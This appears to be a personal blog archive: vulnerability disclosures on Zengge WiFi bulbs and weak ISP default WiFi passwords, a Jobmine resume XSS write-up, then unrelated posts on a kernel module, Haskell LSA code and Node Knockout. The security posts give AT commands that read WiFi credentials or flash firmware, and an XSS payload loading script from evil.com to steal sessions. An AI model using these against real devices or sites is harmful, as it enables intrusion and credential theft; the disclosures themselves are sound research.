The many attacks on Zengge WiFi lightbulbs

In August I decided to check out the cool new Internet Of Things. I bought a WiFi-enabled colorful LED lightbulb. It was a cheap Chinese one that costs almost nothing on Alibaba, but I paid probably around $50 on Amazon. It’s built by a company called Zengge. It turned out that my new lightbulb was a router, an HTTP server, an HTTP proxy, and a lot more. None of the vulnerabilities have been fixed as of the writing of this blog post. To help with testing out these vulnerabilities I created a Go library and command line tool. It can do a lot of what the Android app can do, but it can be used in scripts and by web servers. I strongly encourage someone to let people control their lights over the Internet and do a live stream of it.

Timeline
Reported – September 1, 2015
First response – September 1, 2015
Acknowledged the issue – September 1, 2015
First attempt at fix – September 14, 2015
First attempt defeated – 3 hours later
Second attempt step 1 (new version released) – ~ October 13, 2015
Checked up on them, still not done, giving 1 month notice – November 18, 2015
Published – December 19, 2015

How it works

The lightbulb is normally controlled with an Android app. It joins your WiFi network and can be controlled locally or over the Internet. Control over the Internet is disabled by default. That’s one thing they did right. There are three ports: TCP 80, TCP 5577 and UDP 48899. 80 serves a broken page. 5577 controls the ligthbulb. 48899 controls the router.

The router port allows you to do anything. You can flash the firmware, use it as a proxy, read the WiFi password, make it join a different network, etc. This port is normally exposed only to the internal network. The commands are of the form AT+ followed by the name of the command and optional arguments.

When you set up the lightbulb for control over the Internet it uses no encryption, but all it allows you to do is control the light, so it’s not that bad.

More information can be found in the README for the Go library.

Summary of Vulnerabilities

Threat model

This system has the same threat model as the WeMo baby monitor by Belkin. It assumes that all devices on the local network can be trusted.

I believe that this threat model is insufficient for the following reasons:

  1. People let others onto their network often. This is especially true for offices, restaurants, coffee shops, etc.
  2. Malware on any machine behind the network can use its privileged position to attack the rest of the network.
  3. My favorite law of computer security is “If it should never be on the Internet, someone has put it on the Internet”.

The following summarizes my findings:

Attacker                 | Control Lights | Replace Firmware | HTTP proxy | Read SSID + PASS
Local* network           | Y              | Y                | Y          | Y
MITM on the Internet     | Y              | N                | N          | N
Anyone on the Internet** | Y              | N                | N          | N

* The “local network” is anyone on the Internet if you expose the device to the Internet.
** This is the one attack that Zengge is trying to fix.

Local network attacks

The AT commands are accessible from the network with the hard-coded password HF-A11ASSISTHREAD. They can be used by simply sending UDP packets on port 48899.

Flashing

The AT+UPURL command allows anyone with access to flash it.

AT+UPURL=url,filename

Reading the WIFI password

The AT commands allow anyone with access to read the WIFI password.

AT+WSSSID
AT+WSKEY

Use as a proxy

The AT+HTTPDT command and other related HTTP commands can be use to make the lightbulb make requests on the attacker’s behalf, acting similarly to an HTTP proxy. This can give the attacker the ability to potentially make requests from behind whatever firewall or NAT the lightbulb is within.

Remote control

By design anyone who has ever been on the same network as the bulb gets access to the remote control feature. They just have to remember the MAC address of the lightbulb. This is a separate weakness from the “Remote control over the Internet” section. This weakness makes it impossible to revoke an attacker’s access to your lightbulb once they know the MAC address.

WiFi attacks

The AT+MDCH feature configures whether or not the bulb will go back into wifi AP mode if it fails to connect to an access point in STA mode. It has a few options:

  • off
  • on – 1 minute
  • auto – 10 minutes
  • 3-120 – minutes to reset

The default is 10 minutes. This means that if you can take down the wifi it connects to for 10 minutes, you can force the bulb to enter AP mode. In most cases (unless the user configured it otherwise) the AP will be open and an attacker can connect and execute any of the local attacks.

Dangers of exposing the bulb to the Internet

If the lightbulb is exposed to the Internet, an attacker from anywhere in the world can get access to the user’s internal network vy performing the proxy attack described above. They can also geolocate them by using the MAC address of the router and looking it up in Wigle or some other wardriving database. Since they have the wifi username and password they can go to the location and connect to the same access point as the lightbulb. If these attacks are not sufficient, the attacker can flash the lightbulb with their own software that allows additional attacks.

Getting access to a user’s internal network opens the door to a large number of possible attacks. Describing them is beyond the scope of this document.

I tried scanning the Internet for Zengge lightbulbs with exposed management ports exposed and I found at last two. I don’t have a good Internet connection and I didn’t scan every IP, so there are probably way more than two out there. The information disclosed by the lightbulb allowed my to geolocate the owner of the IP address and know their WiFi SSID and password.

Remote control over the Internet attacks

There is no authentication that proves that someone is allowed to control a lightbulb. If you know the MAC address and the bulb is configured to listen to commands over the internet, you can control it.

The MAC address prefix that the lightbulbs use is ACCF23, which is registered to hi-flying. The last 3 bytes of the mac address identify a unique device. These are 16777216 possibilities, so it would take on the order of a year to scan the entire namespace. However, the MAC addresses are very close to each other because they are assigned sequentially, so in practice you can limit your scan to only valid MAC addresses if you know one of the MAC addresses.

The first non-manufacturer byte of the mac address for a lot of the lightbulbs is 5F. Once you know that, you can easily do a scan of the 65536 addresses in a matter of hours.

This means that it takes very little time and effort to gain control over almost all lightbulbs with the “remote” feature enabled.

I tried this attack and got access to 541 lightbulbs. This was a few months ago, so there are probably even more now.

This attack is prevented in the Hue lightbulb by automatically discovering devices using the source ip. This is further strengthened by having a button on the bridge that users have to press to allow their device to become discoverable.

The commands from the phone to the server are “signed” using AES256. This is similar to Hue’s use of AES for encrypting connections from their bridge to their website instead of using public key cryptography. In this case it was much easier to get the AES key because it was in the Android app.

Local friend’s device takeover

When the phone queries the “Remote Settings” it receives a list of authorized devices for the currently light bulb. The api call is “GetAuthUserDevice”. This list contains the device id of every phone that is authorized. This is a problem because an attacker can use the device id to “log in” as the device. This makes the following attack possible:

  1. A has a light bulb LA
  2. B is friends with A and has light bulb LB at home
  3. B comes to A’s house and A lets B control LA

Now we have:

A, B -> LA
B -> LB

  1. A queries the list of devices that can control LA and gets B’s device id
  2. A can log in as B and control LB.

Failed fixes

Zengge responded to me, acknowledged the “Remote control over the Internet” attack and started trying to fix it. Their first attempt to fix it was to rotate their shared secret and obfuscate it in their app. They sent me the obfuscated app and within 3 hours I was able to get the new secret out of it. This discouraged them from trying to obfuscate it and they started working on a real fix.

They released a new version of the app that modifies the registration process slightly. It makes the app wait for the lightbulb to connect to their server first, then when the app connects to the server the server can make sure that the request is coming from the same IP. That makes this particular attack fail because the attacker doesn’t have the ability to make connections from the same IP address as the victim.

It has been two months since they’ve released the new app and almost four months since I reported the vulnerabilities. They have not enabled the check on the server side yet, so all of the attacks I described still work. Considering the fact that the impact of this vulnerability is not very serious – controlling strangers’ lightbulbs – I decided to just release my findings.

The many attacks on Zengge WiFi lightbulbs

Most default WiFi passwords are insecure

This is a follow up after my previous post that showed you can crack a default Bell Canada WiFi password very quickly. That post was completely ignored and I was told it’s not an issue. Soon after that I went traveling and I made sure to check out people’s routers whenever I got a chance. Below are some of the routers and ISPs I encountered. Many of them are vulnerable.

TLDR:
Vulnerable: AT&T (USA), Sonic.net (USA), Bell (Canada), unknown (Bulgaria)
Not vulnerable: TeleTu (Italy), Iskonovac (Croatia)

Cost

As we look at each of the routers I found, I evaluate how much it costs to crack the WiFi password in 1 hour. My calculations are based on the following benchmark.

I used cuda Hashcat on two AWS GPU instances and calculated how fast they can crack passwords and how much it costs. My results are as follows:

Instance type: g2.2xlarge
Cost: $0.65/hr
Hashing speed: 42 khash/s
Cost per 1 Ghash: $4.30

Instance type: g2.8xlarge
Cost: $2.60/hr
Hashing speed: 170 khash/s
Cost per 1 Ghash: $4.25

An attacker can launch one of these and wait for it to crack the password, or they can launch as many as they need and run them for 1 hour until they crack it. This is why I’ll be calculating the cost of cracking the hash and not the time.

Routers

Let’s look at each router one at a time and calculate how much it costs to crack the default WiFi password. All characters in SSIDs and passwords in the photos have been replaced with placeholders representing the type of character.

A = upper case letter
a = lower case letter
0 = number

Bell (Canada)

From my previous post we know that the size of the pool of possible passwords is 16^8 = 4.3 Ghash.

4.3 Ghash * 4.25 $/Ghash = $18.28

AT&T (USA)

AT&T

The SSID is predictable, so it’s easy to see these everywhere around major US cities if you just open your phone. The password has 10^10 possible combinations which is 10 Ghash.

10 Ghash * 4.25 $/Ghash = $42.50

Sonic.net (USA)

Sonic.net

Sonic.net seems to follow the same pattern as AT&T. The same calculation applies to the WiFi password:

10 Ghash * 4.25 $/Ghash = $42.50

Bonus: The router’s admin password also follows the same pattern. That one is much slower to brute force because it requires an online attack against the router’s web interface, so it’s probably not a problem.

TeleTu (Italy)

TeleTu

This password is much stronger than any of the North American ones. It appears to be mixed letters and numbers, so we have 36^16 = 7958661109946401 Ghash

7958661109946401 Ghash * 4.25 $/Ghash = $3382430971727220 or $3 quadrillion

Iskonovac (Croatia)

Iskonovac

This one is similar to the previous one but shorter, so the number of possible keys is 36^12 = 4738381338 Ghash

4738381338 Ghash * 4.25 $/Ghash = $20138120687 or $20 billion

Unknown (Bulgaria)

Unknown

Sorry, I don’t know which ISP this is. This password is all digits, so it’s the weakest I’ve seen so far: 10**8 = 0.1 Ghash

0.1 Ghash * 4.25 $/Ghash = $0.43

Conclusion

As you can see, many ISPs have really bad default WiFi passwords on their routers. If you are reading this and your ISP has a weak default password policy, email me a photo of your router and I’ll make another post with additional results.

Next time you look through the access points list on your phone and you see ATTXXX, Sonic-XXX or BELLXXX you can probably assume they haven’t changed the default password and this is practically an (almost) free WiFi access point.

P.S.

Speaking of practically free WiFi, all Comcast/Xfinity users can be trivially phished for free WiFi credentials, but that’s a story for another time.

Most default WiFi passwords are insecure

Bell’s Default Password Policy Leaves Tens of Thousands of Users Exposed

Long story short, Bell’s residential modem/routers have weak default passwords that can be cracked in under a day. Few people change them, so tens of thousands of their customers are exposed to risk. To the best of my knowledge, they are not interested in fixing it.

Timeline

  • March 5 – Tweeted at @Bell and @Bell_News
  • March 6 – Contacted Bell Media Relations because there is no other relevant public contact information I could find
  • March 13 – Response from Bell Media Relations: “We strongly encourage our customers to choose their own secure password and, in fact, our technicians explain how to do this as part of the installation process.”
  • March 15 – Found an email address for Bell security through a friend; sent an email – no response
  • March 24 – Sent another email to Bell security – no response
  • March 30 – Tweeted at @Bell
  • March 31 – Brief conversation with @Bell_Support; radio silence
  • April 6 – Blog post published

You may also be interested in my follow up blog post: Most default WiFi passwords are insecure

Background

Bell is one of the biggest internet service providers in Canada. Their residential modems have router features and come pre-configured with wifi enabled (using WPA) and a sticker on them that tells you the SSID and password. The SSID is BELLXXX where XXX is a three digit number. The password is 8 hex characters (16 possibilities each).

Ease of exploitation

It’s easy to calculate the total possible passwords. They are 16 ^ 8 ~= 4 billion.

Naturally, I fired up hashcat to see how many WPA passwords I could guess per second. Based on a 4 year old article 100,000 hashes/second is the speed a reasonable attacker could guess hashes at. This means that it would take less than 12 hours to crack with a good graphics card. My mid-range graphics card can guess 13,000 hashes per second. In theory, it should take up to 4 days to guess the password. In practice, it took me three days.

Prevalence

I apologize for using outdated numbers, but I think the following Fermi estimate is within the right order of magnitude.

  • The 2011 census counted that there are 13,320,615 households in Canada. Let’s round down to 13,300,000 to make our math easier.
  • Bell had 18% market share in 2013
  • At least 90% of Canadians have an Internet connection
  • Let’s say 1% of users use default settings. I’m not sure if this estimate is too high or too low, but feel free to make your own guess about this number.

13,300,000 * 0.18 * 0.9 * 0.01 = 21,546

From this, we suspect that about 21,546 households are affected.

  • Canada’s population as of 2014 is 35.5 million, which (using our previous numbers) is around 2.6 people per household.

21,656 * 2.6 = 56,305

Our guess is that 56 thousand people are affected. In practice, if you look at any random residential area in Canada using WiGLE you will see at least a few vulnerable routers.

Post-exploitation

Once an attacker has gotten onto the wifi network, they can do a number of things with their new access:

  • They can use the free Internet connection to download large files instead of downloading them on their own network.
  • They can use the target’s source IP address to launch attacks against websites or, in general, for their own anonymity.
  • They can download illegal content or post threats, implicating the owners of the Bell router and potentially causing a police raid against the owner’s property.

They can log into the router in most cases because the default username/password on the router management interface is usually admin/admin. If they log into the router, these attacks are also possible:

  • They can change the DNS servers.
  • They can flash the firmware.
  • They can change any other settings including the wifi password.
  • With some imagination, many more things are possible.

They can perform man-in-the-middle attacks using ARP spoofing or various methods available if they have the username and password for the router. These are some possibilities if they do a man-in-the-middle attack:

  • They can backdoor any executable downloaded from the Internet and take over any of the machines connected to the network.
  • They can downgrade HTTPS connections to HTTP.
  • They can replace TLS certificates and intercept traffic if the user clicks through the error.
  • Again, with some imagination, a lot more is possible.

Conclusion and Recommendations

Let all your Canadian friends who use Bell know that unless they’ve configured the router themselves, their network is wide open.

To Bell:

I hope you fix this insecure default. I don’t think there is any cheap way to do that at this point. Maybe you have omniscient backdoor access into the routers. If so, you can use that to get a list of customers who are using the default passwords and call them to make them set their own SSIDs and passwords. For new routers you need to increase the character set from 16 to 62 (upper case, lower case, numbers) and the length to 10 to get 62 ^ 10 = 800 quadrillion possible passwords. While you are at it, make sure you have a good source of entropy when generating the passwords.

Bell’s Default Password Policy Leaves Tens of Thousands of Users Exposed

The Jobmine Exploit

Once upon a time Jobmine used to accept HTML resumes. This is generally a bad idea and many companies have been hurt by their decision to allow HTML in user generated content. This is something that must be done carefully and even experts get it wrong sometimes.

Ever since Jobmine has accepted HTML resumes, it has been vulnerable to cross site scripting (XSS). This involves injecting a bit of JavaScript into a student resume and then using it to snoop on and control an employer’s account or to change their transcript.

I don’t know when Jobmine was first introduced at Waterloo, but Peoplesoft was acquired by Oracle (the place where good things go to die) in 2005, so my guess is that it was vulnerable for more than 7 years. I found the bug in 2010. I reported it on February 7th, 2011. I was told that it would be in everyone’s interest for me to not publicize this information, and since I didn’t want to make enemies at the school, I chose not to do it until it was fixed. It was fixed in December 2012, more than a year and a half later.

Exploit

The exploit was very simple. It goes as follows:

  1. Upload a JavaScript file somewhere on the Internet which steals sessions, scrapes pages, etc.
  2. Create your HTML resume however you want.
  3. Modify the body tag in your HTLM to the snippet below.
  4. Apply to jobs
  5. ???
  6. Profit!
<body onload="(function(){var script = document.createElement('script');script.src='http://evil.com/inject.js';document.getElementsByTagName('head')[0].appendChild(script)})();">

The past and the future of Jobmine

In the time between when I found the bug and when it was fixed I found out from other people that this was a relatively well known bug and I met multiple people who have used it for various purposes. The bug was fixed by not allowing HTML resumes any more and instead allowing only pdf. I’ll leave it to your imagination how much more fun you can have with pdf files.

Timeline

February 7th, 2011 – Issue reported, no timeline given for fixing it

March 1, 2011 – Warning that I’ll publish my finding soon

March 3, 2011 – I was advised that it would be in everyone’s interest to not publish this

March 3, 2011 – I proposed allowing only “pdf/word/etc.” resumes

December 17-21, 2012 – Jobmine down for 4 days, switching to pdf resumes

The Jobmine Exploit

Network Code Module

In the Winter term of 2013, Francis Williams and I worked on an interesting project with one of our professors, Sebastian Fischmeister. The goal was to implement, in software, a language for real time communication schedules that he invented. The paper is available. Our final result is also available. It was based on a slightly newer version of the language that was already implemented in hardware in an FPGA.

The project required us to learn how to write a Linux kernel module for RTLinux. We had to send and receive packets in real time. Ultimately, the network code module modified the state of variables that we made accessible to userspace. We chose to use /sys as the interface because it’s a very clean way of communicating small amounts of data between kernelspace and userspace. We also tried /dev, but we ran into issues reading from the device. We had a collection of command line tools to convert network code machine instructions between different formats. In addition to the kernel module, we wrote a tool for visualizing network schedules. It was web based and it read input from a file generated using a python script.

The list of technologies we had to use to accomplish this is:

  • ArchLinux because it’s awesome

  • VirtualBox because we blew up the kernel over 9000 times

  • Linux kernel source code reading like a baws

  • C with no chaser

  • Make because Linux kernel :/

  • Bash scripts because why not?

  • Python 2 and 3 – yay!

  • Bootstrap, JavaScript, CSS, HTML, etc. because who doesn’t love a pretty UI!

Network Code Module

Latent Semantic Analysis in Haskell

Last weekend I decided to learn Haskell with Francis Williams. It was an epic adventure. Last night I implemented LSA – Latent Semantic Analysis using Haskell.

For those of you who are not enlightened: LSA takes a list of documents, extracts terms from them, builds a tf-idf matrix, then compresses the matrix to build a lower dimensional approximation, to improve the speed and accuracy of measuring the similarity between documents. Sometimes, this is used in combination with clustering to group the documents into categories.

I want to point anyone interested in this towards the following resources that helped me do this:

In case anyone wants to do something similar themselves, here is the code I ended up with. Please let me know if I’m doing something stupid and I’ll fix this up. I suspect that I am, considering how new I am to Haskell.

import Data.List
import Data.Char
import Numeric.LinearAlgebra

titles = ["The Neatest Little Guide to Stock Market Investing",
          "Investing For Dummies, 4th Edition",
          "The Little Book of Common Sense Investing: The Only Way to Guarantee Your Fair Share of Stock Market Returns",
          "The Little Book of Value Investing",
          "Value Investing: From Graham to Buffett and Beyond",
          "Rich Dad's Guide to Investing: What the Rich Invest in, That the Poor and the Middle Class Do Not!",
          "Investing in Real Estate, 5th Edition",
          "Stock Investing For Dummies",
          "Rich Dad's Advisors: The ABC's of Real Estate Investing: The Secrets of Finding Hidden Profits Most Investors Miss" ]

stopwords = ["and","edition","for","in","little","of","the","to"]

text = unlines titles

docs :: [[String]]
docs = map (filter (not . (`elem` stopwords))) $      -- stopwords filter
        map words $
          lines $
            filter (\x -> isAlpha x || isSpace x) $   -- discard everything except alpha and space characters
              map toLower text                        -- lowercase the input

tf :: [([Char], Int)]
tf = filter (\(_,f) -> f>1) $ map (\l@(x:xs) -> (x,length l)) . group . sort $ concat docs -- remove words that appear only once

doc_freq :: Int -> [Char] -> Int
doc_freq d t = length (filter (==t) (docs !! d))

mat :: Matrix Double
mat = buildMatrix (length tf) (length docs) ( \(term, doc) ->
          let occurances = fromIntegral $ doc_freq doc $ fst $ tf !! term -- occurance count
              docLength = genericLength $ docs !! doc                     -- words per doc
              numDocs = genericLength docs                                -- number of docs
              commonness = fromIntegral $ snd $ tf !! term                -- number of docs this word occurs in
          in (occurances / docLength * log (numDocs / commonness))
      )

compress k m = u_k  sigma_k  v_k where
    (u,sigma,v) = fullSVD m                         -- get SVD
    sigma_k = (takeColumns k . takeRows k) sigma    -- keep k values of Σ
    u_k = takeColumns k u                           -- keep k columns of U
    v_k = takeRows k $ trans v                      -- keep k rows of v

reduce_dim k m = v_k where
        (u,sigma,v) = fullSVD m                         -- mapping of documents to concept space
        v_k = takeRows k $ trans v                      -- keep k rows of v
Latent Semantic Analysis in Haskell

Node Knockout: Node RPG

Node Knockout

Last weekend I participated in Node Knockout with Francis Williams. It was really bad timing for both of us and we were able to put in about 30 man hours into our project, but I’m proud of what we accomplished and I want us to continue working on it.

The version that we submitted at the end of the 48 hours contained a number of serious bugs which could have been fixed easily if I was there, but Francis was the only one left to fight some of my code which turned out to be pretty confusing without any documentation. Here it is. Don’t look at it.

You can check out the latest version at http://rpg.no.de until we get our free hosting taken away. We’ll probably work on this project in private for a while and then start inviting people to participate when we have something interesting.

Here are some of my opinions and experiences with the various technologies we used during the competition.

NKO2

This was the second Node Knockout. As soon as I heard about the first one, I knew I had to participate in the next one because I was messing with node.js for a while and I wanted to put together something cool. It was really fun because everyone was using open source software and the people running it were on IRC responding the any questions or problems that contestants are having during the whole competition. It was really cool that you could get on IRC and ask everyone else who is participating if they have experiences the same problems as you and how they solved them. Everyone was very helpful.

NowJS

NowJs allows you to use the magical “now” object to share variables between the client and the server. It also allows you to call a function on the other side of the wire as if it’s defined locally. You can even pass callbacks! It’s really cool.

We used NowJS extensively for this project. I loved the RMI, but I quickly realized that the shared variables don’t have much of a use. We did not have anything that can be directly exposed to the client and it was not possible to filter the values allowed to be set in these magical variables. It was basically awkward and useless, so we stuck with using RMI for setting variables and updating game state. Groups were another feature which we tried really hard to use, but it just seemed awkward because we wanted to manage our user list and “room” list ourselves. I did not see the value of using NowJS groups over just sending a message to each user in our own group object.

I was really excited about NowJS when I started, but now I think it’s just badly thought out and too immature to be useful for anything serious. I think that there are no real world use cases where you would want to set a variable on the server directly from the client. I think that this would give the client an opportunity to DOS the server by setting a really really big set of data into a variable, but I may be wrong.

In the future, I will replace NowJS with dnode and see how well that goes.

Express, Jade, Stylus

visionmedia(TJ Holowaychuk) has taken node.js and made something that’s really, really easy to use and speeds up development time dramatically. It looks like TJ has made all the best tools that exist for building websites in node.js. Express gives us the framework to parse requests and serve pages. Jade gives us an amazing templating engine which looks much cleaner than any other templating engine including HAML. Stylus allows us to write CSS without all the unnecessary punctuation and with all the features of LESS. These are all really cool tools that I will probably always use every time I use node to make a website. I’m actually also very interested in Calipso and I am planning to get involved in that.

Heroku vs. Joyent?

In the beginning we started off with Heroku as our deploy target. Late at night on the first day we found out that they don’t support WebSockets. Someone on IRC told me to try switching to Joyent. It seemed like a lot of work at the time and we delayed it, but on the next day I decided to give it a try and – lo and behold – I switched in a fraction of the time it took me to set up Heroku and I got my WebSockets and it was awesome. We stayed with them for the rest of the competition. They give you SSH access and it’s really cool. I’m not saying there’s anything wrong with Heroku – they have really cool features and it looks like they let you scale your app really well – I’m just saying that if you are doing a hackathon, Joyent will save you time.

At one point, after the end of the 48 hours, our node server stopped being accessible from the internet and I went on IRC and asked in #joyent if anyone knows what’s going on. Everyone was sleeping, but a bit later one more person popped up reporting the same problem and we determined that we are on the same server. When Joyent woke up the next day, they fixed it and we were back online. I want to thank the Joyent team for being responsive and awesome and fixing problems quickly and you are totally forgiven :)

Conclusion

Node Knockout was a great experience and I did not necessarily learn something new, but did realize how much I can accomplish with the skills that I’ve obtained over the past few years. I hope to be a part of Node Knockout 3 whenever that happens! Next time we’ll be more prepared and have a more complete team. Maybe one day we’ll build something worthy of a prize.

Read what Francis has to say about the competition here!

Node Knockout: Node RPG